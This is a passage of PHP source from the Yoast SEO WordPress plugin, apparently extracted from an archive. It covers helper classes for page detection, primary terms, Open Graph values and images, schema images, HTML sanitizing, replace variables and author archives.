	 *
	 * @return int The id of the front page. 0 if the front page is not a static page.
	 */
	public function get_front_page_id() {
		if ( \get_option( 'show_on_front' ) !== 'page' ) {
			return 0;
		}

		return (int) \get_option( 'page_on_front' );
	}

	/**
	 * Returns the id of the currently opened term archive.
	 *
	 * @return int The id of the currently opened term archive.
	 */
	public function get_term_id() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		if ( $wp_query->is_tax() || $wp_query->is_tag() || $wp_query->is_category() ) {
			$queried_object = $wp_query->get_queried_object();
			if ( $queried_object && ! \is_wp_error( $queried_object ) ) {
				return $queried_object->term_id;
			}
		}

		return 0;
	}

	/**
	 * Returns the post type of the main query.
	 *
	 * @return string The post type of the main query.
	 */
	public function get_queried_post_type() {
		$wp_query  = $this->wp_query_wrapper->get_main_query();
		$post_type = $wp_query->get( 'post_type' );
		if ( \is_array( $post_type ) ) {
			$post_type = \reset( $post_type );
		}

		return $post_type;
	}

	/**
	 * Returns the permalink of the currently opened date archive.
	 * If the permalink was cached, it returns this permalink.
	 * If not, we call another function to get the permalink through wp_query.
	 *
	 * @return string The permalink of the currently opened date archive.
	 */
	public function get_date_archive_permalink() {
		static $date_archive_permalink;

		if ( isset( $date_archive_permalink ) ) {
			return $date_archive_permalink;
		}

		$date_archive_permalink = $this->get_non_cached_date_archive_permalink();

		return $date_archive_permalink;
	}

	/**
	 * Determine whether this is the homepage and shows posts.
	 *
	 * @return bool Whether or not the current page is the homepage that displays posts.
	 */
	public function is_home_posts_page() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		if ( ! $wp_query->is_home() ) {
			return false;
		}

		/*
		 * Whether the static page's `Homepage` option is actually not set to a page.
		 * Otherwise WordPress proceeds to handle the homepage as a `Your latest posts` page.
		 */
		if ( (int) \get_option( 'page_on_front' ) === 0 ) {
			return true;
		}

		return \get_option( 'show_on_front' ) === 'posts';
	}

	/**
	 * Determine whether this is the static frontpage.
	 *
	 * @return bool Whether or not the current page is a static frontpage.
	 */
	public function is_home_static_page() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		if ( ! $wp_query->is_front_page() ) {
			return false;
		}

		if ( \get_option( 'show_on_front' ) !== 'page' ) {
			return false;
		}

		return $wp_query->is_page( \get_option( 'page_on_front' ) );
	}

	/**
	 * Determine whether this is the static posts page.
	 *
	 * @return bool Whether or not the current page is a static posts page.
	 */
	public function is_static_posts_page() {
		$wp_query       = $this->wp_query_wrapper->get_main_query();
		$queried_object = $wp_query->get_queried_object();

		return (
			$wp_query->is_posts_page
			&& \is_a( $queried_object, WP_Post::class )
			&& $queried_object->post_type === 'page'
		);
	}

	/**
	 * Determine whether this is the statically set posts page, when it's not the frontpage.
	 *
	 * @return bool Whether or not it's a non-frontpage, statically set posts page.
	 */
	public function is_posts_page() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		if ( ! $wp_query->is_home() ) {
			return false;
		}

		return \get_option( 'show_on_front' ) === 'page';
	}

	/**
	 * Determine whether this is a post type archive.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is a post type archive.
	 */
	public function is_post_type_archive() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_post_type_archive();
	}

	/**
	 * Determine whether this is a term archive.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is a term archive.
	 */
	public function is_term_archive() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_tax || $wp_query->is_tag || $wp_query->is_category;
	}

	/**
	 * Determine whether this is an attachment page.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is an attachment page.
	 */
	public function is_attachment() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_attachment;
	}

	/**
	 * Determine whether this is an author archive.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is an author archive.
	 */
	public function is_author_archive() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_author();
	}

	/**
	 * Determine whether this is an date archive.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is an date archive.
	 */
	public function is_date_archive() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_date();
	}

	/**
	 * Determine whether this is a search result.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is a search result.
	 */
	public function is_search_result() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_search();
	}

	/**
	 * Determine whether this is a 404 page.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether nor not the current page is a 404 page.
	 */
	public function is_404() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_404();
	}

	/**
	 * Checks if the current page is the post format archive.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether or not the current page is the post format archive.
	 */
	public function is_post_format_archive() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_tax( 'post_format' );
	}

	/**
	 * Determine whether this page is an taxonomy archive page for multiple terms (url: /term-1,term2/).
	 *
	 * @return bool Whether or not the current page is an archive page for multiple terms.
	 */
	public function is_multiple_terms_page() {
		if ( ! $this->is_term_archive() ) {
			return false;
		}

		return $this->count_queried_terms() > 1;
	}

	/**
	 * Checks whether the current page is paged.
	 *
	 * @codeCoverageIgnore This method only calls a WordPress function.
	 *
	 * @return bool Whether the current page is paged.
	 */
	public function is_paged() {
		return \is_paged();
	}

	/**
	 * Checks if the current page is the front page.
	 *
	 * @codeCoverageIgnore It wraps WordPress functionality.
	 *
	 * @return bool Whether or not the current page is the front page.
	 */
	public function is_front_page() {
		$wp_query = $this->wp_query_wrapper->get_main_query();

		return $wp_query->is_front_page();
	}

	/**
	 * Retrieves the current admin page.
	 *
	 * @codeCoverageIgnore It only wraps a global WordPress variable.
	 *
	 * @return string The current page.
	 */
	public function get_current_admin_page() {
		global $pagenow;

		return $pagenow;
	}

	/**
	 * Check if the current opened page is a Yoast SEO page.
	 *
	 * @return bool True when current page is a yoast seo plugin page.
	 */
	public function is_yoast_seo_page() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only using the variable in the strpos function.
			$current_page = \wp_unslash( $_GET['page'] );
			return \strpos( $current_page, 'wpseo_' ) === 0;
		}
		return false;
	}

	/**
	 * Returns the current Yoast SEO page.
	 * (E.g. the `page` query variable in the URL).
	 *
	 * @return string The current Yoast SEO page.
	 */
	public function get_current_yoast_seo_page() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return \sanitize_text_field( \wp_unslash( $_GET['page'] ) );
		}

		return '';
	}

	/**
	 * Checks if the current global post is the privacy policy page.
	 *
	 * @return bool current global post is set as privacy page
	 */
	public function current_post_is_privacy_policy() {
		global $post;

		if ( ! isset( $post->ID ) ) {
			return false;
		}

		return \intval( $post->ID ) === \intval( \get_option( 'wp_page_for_privacy_policy', false ) );
	}

	/**
	 * Returns the permalink of the currently opened date archive.
	 *
	 * @return string The permalink of the currently opened date archive.
	 */
	protected function get_non_cached_date_archive_permalink() {
		$date_archive_permalink = '';
		$wp_query               = $this->wp_query_wrapper->get_main_query();

		if ( $wp_query->is_day() ) {
			$date_archive_permalink = \get_day_link( $wp_query->get( 'year' ), $wp_query->get( 'monthnum' ), $wp_query->get( 'day' ) );
		}
		if ( $wp_query->is_month() ) {
			$date_archive_permalink = \get_month_link( $wp_query->get( 'year' ), $wp_query->get( 'monthnum' ) );
		}
		if ( $wp_query->is_year() ) {
			$date_archive_permalink = \get_year_link( $wp_query->get( 'year' ) );
		}

		return $date_archive_permalink;
	}

	/**
	 * Counts the total amount of queried terms.
	 *
	 * @codeCoverageIgnore This relies too much on WordPress dependencies.
	 *
	 * @return int The amoumt of queried terms.
	 */
	protected function count_queried_terms() {
		$wp_query = $this->wp_query_wrapper->get_main_query();
		$term     = $wp_query->get_queried_object();

		$queried_terms = $wp_query->tax_query->queried_terms;
		if ( $term === null || empty( $queried_terms[ $term->taxonomy ]['terms'] ) ) {
			return 0;
		}

		return \count( $queried_terms[ $term->taxonomy ]['terms'] );
	}

	/**
	 * Retrieves the current post id.
	 * Returns 0 if no post id is found.
	 *
	 * @return int The post id.
	 */
	public function get_current_post_id(): int {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are casting to an integer.
		if ( isset( $_GET['post'] ) && \is_string( $_GET['post'] ) && (int) \wp_unslash( $_GET['post'] ) > 0 ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are casting to an integer, also this is a helper function.
			return (int) \wp_unslash( $_GET['post'] );
		}
		return 0;
	}

	/**
	 * Retrieves the current post type.
	 *
	 * @return string The post type.
	 */
	public function get_current_post_type(): string {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['post_type'] ) && \is_string( $_GET['post_type'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return \sanitize_text_field( \wp_unslash( $_GET['post_type'] ) );
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: should be done outside the helper function.
		if ( isset( $_POST['post_type'] ) && \is_string( $_POST['post_type'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: should be done outside the helper function.
			return \sanitize_text_field( \wp_unslash( $_POST['post_type'] ) );
		}

		$post_id = $this->get_current_post_id();

		if ( $post_id ) {
			return \get_post_type( $post_id );
		}

		return 'post';
	}

	/**
	 * Retrieves the current taxonomy.
	 *
	 * @return string The taxonomy.
	 */
	public function get_current_taxonomy(): string {
		if ( ! isset( $_SERVER['REQUEST_METHOD'] ) || ! \in_array( $_SERVER['REQUEST_METHOD'], [ 'GET', 'POST' ], true ) ) {
			return '';
		}

		// phpcs:ignore WordPress.Security.NonceVerification -- Reason: We are not processing form information.
		if ( $_SERVER['REQUEST_METHOD'] === 'POST' ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: should be done outside the helper function.
			if ( isset( $_POST['taxonomy'] ) && \is_string( $_POST['taxonomy'] ) ) {
				// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: should be done outside the helper function.
				return \sanitize_text_field( \wp_unslash( $_POST['taxonomy'] ) );
			}
			return '';
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['taxonomy'] ) && \is_string( $_GET['taxonomy'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return \sanitize_text_field( \wp_unslash( $_GET['taxonomy'] ) );
		}

		return '';
	}
}
helpers/primary-term-helper.php000066600000002566152204306270012642 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use stdClass;

/**
 * A helper object for primary terms.
 */
class Primary_Term_Helper {

	/**
	 * Generate the primary term taxonomies.
	 *
	 * @param int $post_id ID of the post.
	 *
	 * @return array The taxonomies.
	 */
	public function get_primary_term_taxonomies( $post_id ) {
		$post_type      = \get_post_type( $post_id );
		$all_taxonomies = \get_object_taxonomies( $post_type, 'objects' );
		$all_taxonomies = \array_filter( $all_taxonomies, [ $this, 'filter_hierarchical_taxonomies' ] );

		/**
		 * Filters which taxonomies for which the user can choose the primary term.
		 *
		 * @param array  $taxonomies     An array of taxonomy objects that are primary_term enabled.
		 * @param string $post_type      The post type for which to filter the taxonomies.
		 * @param array  $all_taxonomies All taxonomies for this post types, even ones that don't have primary term
		 *                               enabled.
		 */
		$taxonomies = (array) \apply_filters( 'wpseo_primary_term_taxonomies', $all_taxonomies, $post_type, $all_taxonomies );

		return $taxonomies;
	}

	/**
	 * Returns whether or not a taxonomy is hierarchical.
	 *
	 * @param stdClass $taxonomy Taxonomy object.
	 *
	 * @return bool True for hierarchical taxonomy.
	 */
	protected function filter_hierarchical_taxonomies( $taxonomy ) {
		return (bool) $taxonomy->hierarchical;
	}
}
helpers/open-graph/image-helper.php000066600000006011152204306270013321 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Open_Graph;

use Yoast\WP\SEO\Helpers\Image_Helper as Base_Image_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;

/**
 * A helper object for Open Graph images.
 */
class Image_Helper {

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	private $url;

	/**
	 * The base image helper.
	 *
	 * @var Base_Image_Helper
	 */
	private $image;

	/**
	 * Image_Helper constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Url_Helper        $url   The url helper.
	 * @param Base_Image_Helper $image The image helper.
	 */
	public function __construct( Url_Helper $url, Base_Image_Helper $image ) {
		$this->url   = $url;
		$this->image = $image;
	}

	/**
	 * Determines whether the passed URL is considered valid.
	 *
	 * @deprecated 22.4
	 * @codeCoverageIgnore
	 *
	 * @param array<array<string, string|int>> $image The image array.
	 *
	 * @return bool Whether or not the URL is a valid image.
	 */
	public function is_image_url_valid( array $image ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.4' );

		if ( empty( $image['url'] ) || ! \is_string( $image['url'] ) ) {
			return false;
		}

		$image_extension = $this->url->get_extension_from_url( $image['url'] );
		$is_valid        = $this->image->is_extension_valid( $image_extension );

		/**
		 * Filter: 'wpseo_opengraph_is_valid_image_url' - Allows extra validation for an image url.
		 *
		 * @param bool   $is_valid Current validation result.
		 * @param string $url      The image url to validate.
		 */
		return (bool) \apply_filters( 'wpseo_opengraph_is_valid_image_url', $is_valid, $image['url'] );
	}

	/**
	 * Retrieves the overridden image size value.
	 *
	 * @return string|null The image size when overriden by filter or null when not.
	 */
	public function get_override_image_size() {
		/**
		 * Filter: 'wpseo_opengraph_image_size' - Allow overriding the image size used
		 * for Open Graph sharing. If this filter is used, the defined size will always be
		 * used for the og:image. The image will still be rejected if it is too small.
		 *
		 * Only use this filter if you manually want to determine the best image size
		 * for the `og:image` tag.
		 *
		 * Use the `wpseo_image_sizes` filter if you want to use our logic. That filter
		 * can be used to add an image size that needs to be taken into consideration
		 * within our own logic.
		 *
		 * @param string|false $size Size string.
		 */
		return \apply_filters( 'wpseo_opengraph_image_size', null );
	}

	/**
	 * Retrieves the image data by a given attachment id.
	 *
	 * @param int $attachment_id The attachment id.
	 *
	 * @return array<string, string|int>|false The image data when found, `false` when not.
	 */
	public function get_image_by_id( $attachment_id ) {
		if ( ! $this->image->is_valid_attachment( $attachment_id ) ) {
			return false;
		}

		$override_image_size = $this->get_override_image_size();
		if ( $override_image_size ) {
			return $this->image->get_image( $attachment_id, $override_image_size );
		}

		return $this->image->get_best_attachment_variation( $attachment_id );
	}
}
helpers/open-graph/values-helper.php000066600000005134152204306270013543 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Open_Graph;

/**
 * A helper object for the filtering of values.
 */
class Values_Helper {

	/**
	 * Filters the Open Graph title.
	 *
	 * @param string $title          The default title.
	 * @param string $object_type    The object type.
	 * @param string $object_subtype The object subtype.
	 *
	 * @return string The open graph title.
	 */
	public function get_open_graph_title( $title, $object_type, $object_subtype ) {
		/**
		 * Allow changing the Open Graph title.
		 *
		 * @param string $title          The default title.
		 * @param string $object_subtype The object subtype.
		 */
		return \apply_filters( 'Yoast\WP\SEO\open_graph_title_' . $object_type, $title, $object_subtype );
	}

	/**
	 * Filters the Open Graph description.
	 *
	 * @param string $description    The default description.
	 * @param string $object_type    The object type.
	 * @param string $object_subtype The object subtype.
	 *
	 * @return string The open graph description.
	 */
	public function get_open_graph_description( $description, $object_type, $object_subtype ) {
		/**
		 * Allow changing the Open Graph description.
		 *
		 * @param string $description    The default description.
		 * @param string $object_subtype The object subtype.
		 */
		return \apply_filters( 'Yoast\WP\SEO\open_graph_description_' . $object_type, $description, $object_subtype );
	}

	/**
	 * Filters the Open Graph image ID.
	 *
	 * @param int    $image_id       The default image ID.
	 * @param string $object_type    The object type.
	 * @param string $object_subtype The object subtype.
	 *
	 * @return string The open graph image ID.
	 */
	public function get_open_graph_image_id( $image_id, $object_type, $object_subtype ) {
		/**
		 * Allow changing the Open Graph image ID.
		 *
		 * @param int    $image_id       The default image ID.
		 * @param string $object_subtype The object subtype.
		 */
		return \apply_filters( 'Yoast\WP\SEO\open_graph_image_id_' . $object_type, $image_id, $object_subtype );
	}

	/**
	 * Filters the Open Graph image URL.
	 *
	 * @param string $image          The default image URL.
	 * @param string $object_type    The object type.
	 * @param string $object_subtype The object subtype.
	 *
	 * @return string The open graph image URL.
	 */
	public function get_open_graph_image( $image, $object_type, $object_subtype ) {
		/**
		 * Allow changing the Open Graph image URL.
		 *
		 * @param string $image          The default image URL.
		 * @param string $object_subtype The object subtype.
		 */
		return \apply_filters( 'Yoast\WP\SEO\open_graph_image_' . $object_type, $image, $object_subtype );
	}
}
helpers/import-helper.php000066600000001314152204306270011512 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * The Import Helper.
 */
class Import_Helper {

	/**
	 * Flattens a multidimensional array of settings. Recursive.
	 *
	 * @param array  $array_to_flatten The array to be flattened.
	 * @param string $key_prefix       The key to be used as a prefix.
	 *
	 * @return array The flattened array.
	 */
	public function flatten_settings( $array_to_flatten, $key_prefix = '' ) {
		$result = [];
		foreach ( $array_to_flatten as $key => $value ) {
			if ( \is_array( $value ) ) {
				$result = \array_merge( $result, $this->flatten_settings( $value, $key_prefix . '/' . $key ) );
			}
			else {
				$result[ $key_prefix . '/' . $key ] = $value;
			}
		}

		return $result;
	}
}
helpers/schema/image-helper.php000066600000014022152204306270012522 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Schema;

use Yoast\WP\SEO\Helpers\Image_Helper as Main_Image_Helper;

/**
 * Class Image_Helper.
 */
class Image_Helper {

	/**
	 * The HTML helper.
	 *
	 * @var HTML_Helper
	 */
	private $html;

	/**
	 * The language helper.
	 *
	 * @var Language_Helper
	 */
	private $language;

	/**
	 * Represents the main image helper.
	 *
	 * @var Main_Image_Helper
	 */
	private $image;

	/**
	 * Image_Helper constructor.
	 *
	 * @codeCoverageIgnore It handles dependencies.
	 *
	 * @param HTML_Helper       $html     The HTML helper.
	 * @param Language_Helper   $language The language helper.
	 * @param Main_Image_Helper $image    The 'main' image helper.
	 */
	public function __construct( HTML_Helper $html, Language_Helper $language, Main_Image_Helper $image ) {
		$this->html     = $html;
		$this->language = $language;
		$this->image    = $image;
	}

	/**
	 * Find an image based on its URL and generate a Schema object for it.
	 *
	 * @param string $schema_id      The `@id` to use for the returned image.
	 * @param string $url            The image URL to base our object on.
	 * @param string $caption        An optional caption.
	 * @param bool   $add_hash       Whether a hash will be added as a suffix in the @id.
	 * @param bool   $use_link_table Whether the SEO Links table will be used to retrieve the id.
	 *
	 * @return array Schema ImageObject array.
	 */
	public function generate_from_url( $schema_id, $url, $caption = '', $add_hash = false, $use_link_table = true ) {
		$attachment_id = $this->image->get_attachment_by_url( $url, $use_link_table );
		if ( $attachment_id > 0 ) {
			return $this->generate_from_attachment_id( $schema_id, $attachment_id, $caption, $add_hash );
		}

		return $this->simple_image_object( $schema_id, $url, $caption, $add_hash );
	}

	/**
	 * Retrieve data about an image from the database and use it to generate a Schema object.
	 *
	 * @param string $schema_id     The `@id` to use for the returned image.
	 * @param int    $attachment_id The attachment to retrieve data from.
	 * @param string $caption       The caption string, if there is one.
	 * @param bool   $add_hash      Whether a hash will be added as a suffix in the @id.
	 *
	 * @return array Schema ImageObject array.
	 */
	public function generate_from_attachment_id( $schema_id, $attachment_id, $caption = '', $add_hash = false ) {
		$data = $this->generate_object();
		$url  = $this->image->get_attachment_image_url( $attachment_id, 'full' );

		$id_suffix = ( $add_hash ) ? \md5( $url ) : '';

		$data['@id']        = $schema_id . $id_suffix;
		$data['url']        = $url;
		$data['contentUrl'] = $url;
		$data               = $this->add_image_size( $data, $attachment_id );
		$data               = $this->add_caption( $data, $attachment_id, $caption );

		return $data;
	}

	/**
	 * Retrieve data about an image from the database and use it to generate a Schema object.
	 *
	 * @param string $schema_id       The `@id` to use for the returned image.
	 * @param array  $attachment_meta The attachment metadata.
	 * @param string $caption         The caption string, if there is one.
	 * @param bool   $add_hash        Whether a hash will be added as a suffix in the @id.
	 *
	 * @return array Schema ImageObject array.
	 */
	public function generate_from_attachment_meta( $schema_id, $attachment_meta, $caption = '', $add_hash = false ) {
		$data = $this->generate_object();

		$id_suffix = ( $add_hash ) ? \md5( $attachment_meta['url'] ) : '';

		$data['@id']        = $schema_id . $id_suffix;
		$data['url']        = $attachment_meta['url'];
		$data['contentUrl'] = $data['url'];
		$data['width']      = $attachment_meta['width'];
		$data['height']     = $attachment_meta['height'];
		if ( ! empty( $caption ) ) {
			$data['caption'] = $this->html->smart_strip_tags( $caption );
		}

		return $data;
	}

	/**
	 * If we can't find $url in our database, we output a simple ImageObject.
	 *
	 * @param string $schema_id The `@id` to use for the returned image.
	 * @param string $url       The image URL.
	 * @param string $caption   A caption, if set.
	 * @param bool   $add_hash  Whether a hash will be added as a suffix in the @id.
	 *
	 * @return array Schema ImageObject array.
	 */
	public function simple_image_object( $schema_id, $url, $caption = '', $add_hash = false ) {
		$data = $this->generate_object();

		$id_suffix = ( $add_hash ) ? \md5( $url ) : '';

		$data['@id']        = $schema_id . $id_suffix;
		$data['url']        = $url;
		$data['contentUrl'] = $url;

		if ( ! empty( $caption ) ) {
			$data['caption'] = $this->html->smart_strip_tags( $caption );
		}

		return $data;
	}

	/**
	 * Retrieves an image's caption if set, or uses the alt tag if that's set.
	 *
	 * @param array  $data          An ImageObject Schema array.
	 * @param int    $attachment_id Attachment ID.
	 * @param string $caption       The caption string, if there is one.
	 *
	 * @return array An imageObject with width and height set if available.
	 */
	private function add_caption( $data, $attachment_id, $caption = '' ) {
		if ( $caption !== '' ) {
			$data['caption'] = $caption;

			return $data;
		}

		$caption = $this->image->get_caption( $attachment_id );
		if ( ! empty( $caption ) ) {
			$data['caption'] = $this->html->smart_strip_tags( $caption );

			return $data;
		}

		return $data;
	}

	/**
	 * Generates our bare bone ImageObject.
	 *
	 * @return array an empty ImageObject
	 */
	private function generate_object() {
		$data = [
			'@type' => 'ImageObject',
		];

		$data = $this->language->add_piece_language( $data );

		return $data;
	}

	/**
	 * Adds image's width and height.
	 *
	 * @param array $data          An ImageObject Schema array.
	 * @param int   $attachment_id Attachment ID.
	 *
	 * @return array An imageObject with width and height set if available.
	 */
	private function add_image_size( $data, $attachment_id ) {
		$image_meta = $this->image->get_metadata( $attachment_id );
		if ( empty( $image_meta['width'] ) || empty( $image_meta['height'] ) ) {
			return $data;
		}
		$data['width']  = $image_meta['width'];
		$data['height'] = $image_meta['height'];

		return $data;
	}
}
helpers/schema/html-helper.php000066600000003756152204306270012420 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Schema;

/**
 * Class HTML_Helper.
 */
class HTML_Helper {

	/**
	 * Sanitizes a HTML string by stripping all tags except headings, breaks, lists, links, paragraphs and formatting.
	 *
	 * @param string $html The original HTML.
	 *
	 * @return string The sanitized HTML.
	 */
	public function sanitize( $html ) {
		if ( ! $this->is_non_empty_string_or_stringable( $html ) ) {
			if ( \is_int( $html ) || \is_float( $html ) ) {
				return (string) $html;
			}

			return '';
		}

		return \strip_tags( $html, '<h1><h2><h3><h4><h5><h6><br><ol><ul><li><a><p><b><strong><i><em>' );
	}

	/**
	 * Strips the tags in a smart way.
	 *
	 * @param string $html The original HTML.
	 *
	 * @return string The sanitized HTML.
	 */
	public function smart_strip_tags( $html ) {
		if ( ! $this->is_non_empty_string_or_stringable( $html ) ) {
			if ( \is_int( $html ) || \is_float( $html ) ) {
				return (string) $html;
			}

			return '';
		}

		// Replace all new lines with spaces.
		$html = \preg_replace( '/(\r|\n)/', ' ', $html );

		// Replace <br> tags with spaces.
		$html = \preg_replace( '/<br(\s*)?\/?>/i', ' ', $html );

		// Replace closing </p> and other tags with the same tag with a space after it, so we don't end up connecting words when we remove them later.
		$html = \preg_replace( '/<\/(p|div|h\d)>/i', '</$1> ', $html );

		// Replace list items with list identifiers so it still looks natural.
		$html = \preg_replace( '/(<li[^>]*>)/i', '$1• ', $html );

		// Strip tags.
		$html = \wp_strip_all_tags( $html );

		// Replace multiple spaces with one space.
		$html = \preg_replace( '!\s+!', ' ', $html );

		return \trim( $html );
	}

	/**
	 * Verifies that the received input is either a string or stringable object.
	 *
	 * @param string $html The original HTML.
	 *
	 * @return bool
	 */
	private function is_non_empty_string_or_stringable( $html ) {
		return ( \is_string( $html ) || ( \is_object( $html ) && \method_exists( $html, '__toString' ) ) ) && ! empty( $html );
	}
}
helpers/schema/replace-vars-helper.php000066600000006764152204306270014042 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Schema;

use Closure;
use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Config\Schema_IDs;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Date_Helper;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;

/**
 * Registers the Schema replace variables and exposes a method to replace variables on a Schema graph.
 */
class Replace_Vars_Helper {

	use No_Conditionals;

	/**
	 * The replace vars.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	protected $replace_vars;

	/**
	 * The Schema ID helper.
	 *
	 * @var ID_Helper
	 */
	protected $id_helper;

	/**
	 * The date helper.
	 *
	 * @var Date_Helper
	 */
	protected $date_helper;

	/**
	 * Replace_Vars_Helper constructor.
	 *
	 * @param WPSEO_Replace_Vars $replace_vars The replace vars.
	 * @param ID_Helper          $id_helper    The Schema ID helper.
	 * @param Date_Helper        $date_helper  The date helper.
	 */
	public function __construct(
		WPSEO_Replace_Vars $replace_vars,
		ID_Helper $id_helper,
		Date_Helper $date_helper
	) {
		$this->replace_vars = $replace_vars;
		$this->id_helper    = $id_helper;
		$this->date_helper  = $date_helper;
	}

	/**
	 * Replaces the variables.
	 *
	 * @param array                  $schema_data  The Schema data.
	 * @param Indexable_Presentation $presentation The indexable presentation.
	 *
	 * @return array The array with replaced vars.
	 */
	public function replace( array $schema_data, Indexable_Presentation $presentation ) {
		foreach ( $schema_data as $key => $value ) {
			if ( \is_array( $value ) ) {
				$schema_data[ $key ] = $this->replace( $value, $presentation );

				continue;
			}

			$schema_data[ $key ] = $this->replace_vars->replace( $value, $presentation->source );
		}

		return $schema_data;
	}

	/**
	 * Registers the Schema-related replace vars.
	 *
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return void
	 */
	public function register_replace_vars( $context ) {
		$replace_vars = [
			'main_schema_id'   => $context->main_schema_id,
			'author_id'        => $this->id_helper->get_user_schema_id( $context->indexable->author_id, $context ),
			'person_id'        => $context->site_url . Schema_IDs::PERSON_HASH,
			'primary_image_id' => $context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH,
			'webpage_id'       => $context->main_schema_id,
			'website_id'       => $context->site_url . Schema_IDs::WEBSITE_HASH,
			'organization_id'  => $context->site_url . Schema_IDs::ORGANIZATION_HASH,
		];

		if ( $context->post ) {
			// Post does not always exist, e.g. on term pages.
			$replace_vars['post_date'] = $this->date_helper->format( $context->post->post_date, \DATE_ATOM );
		}

		foreach ( $replace_vars as $var => $value ) {
			$this->register_replacement( $var, $value );
		}
	}

	/**
	 * Registers a replace var and its value.
	 *
	 * @param string $variable The replace variable.
	 * @param string $value    The value that the variable should be replaced with.
	 *
	 * @return void
	 */
	protected function register_replacement( $variable, $value ) {
		$this->replace_vars->safe_register_replacement(
			$variable,
			$this->get_identity_function( $value )
		);
	}

	/**
	 * Returns an anonymous function that in turn just returns the given value.
	 *
	 * @param mixed $value The value that the function should return.
	 *
	 * @return Closure A function that returns the given value.
	 */
	protected function get_identity_function( $value ) {
		return static function () use ( $value ) {
			return $value;
		};
	}
}
helpers/author-archive-helper.php000066600000012377152204306270013134 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WP_Query;
use Yoast\WP\Lib\Model;

/**
 * A helper object for author archives.
 */
class Author_Archive_Helper {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type_helper;

	/**
	 * Creates a new author archive helper.
	 *
	 * @param Options_Helper   $options_helper   The options helper.
	 * @param Post_Type_Helper $post_type_helper The post type helper.
	 */
	public function __construct( Options_Helper $options_helper, Post_Type_Helper $post_type_helper ) {
		$this->options_helper   = $options_helper;
		$this->post_type_helper = $post_type_helper;
	}

	/**
	 * Gets the array of post types that are shown on an author's archive.
	 *
	 * @return array The post types that are shown on an author's archive.
	 */
	public function get_author_archive_post_types() {
		/**
		 * Filters the array of post types that are shown on an author's archive.
		 *
		 * @param array $args The post types that are shown on an author archive.
		 */
		return \apply_filters( 'wpseo_author_archive_post_types', [ 'post' ] );
	}

	/**
	 * Returns whether the author has at least one public post.
	 *
	 * @param int $author_id The author ID.
	 *
	 * @return bool|null Whether the author has at least one public post.
	 */
